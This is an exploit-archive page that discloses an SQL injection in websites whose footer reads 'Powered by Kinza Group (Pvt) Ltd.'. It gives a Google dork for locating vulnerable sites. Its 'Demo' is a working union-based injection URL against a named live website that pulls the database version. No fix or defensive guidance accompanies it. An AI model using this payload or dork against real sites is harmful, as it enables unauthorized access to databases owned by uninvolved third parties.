Powered by Kinza Group (Pvt) Ltd. - Sql Injection Vulnerability

2022.02.20

MR.$UD0 (PH)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: "Powered by Kinza Group (Pvt) Ltd."

*********************************************************
#Exploit Title:Powered by Kinza Group (Pvt) Ltd. - Sql Injection Vulnerability
#Date: 2022-02-18
#Exploit Author: Jayson San Buenaventura
#Google Dork: "Powered by Kinza Group (Pvt) Ltd."
#Category:webapps
#Tested On: Kali Linux, CyberFox
 
 
Proof of Concept:
Search google Dork: "Powered by Kinza Group (Pvt) Ltd."


### Demo :

https://eurekaconsultants.net/singleNews.php?newsPageID=238+/*!50000UNION*/+/*!50000SELECT*/+1,version(),3,4,5,6,7,8--+

********************************************************* 
#Discovered by: Jayson San Buenaventura
#Facebook: Jayson Cabrillas San Buenaventura
#Email: sanbuenaventurajayson27@gmail.com
*********************************************************

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Powered by Kinza Group (Pvt) Ltd. - Sql Injection Vulnerability

Dork: "Powered by Kinza Group (Pvt) Ltd."

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.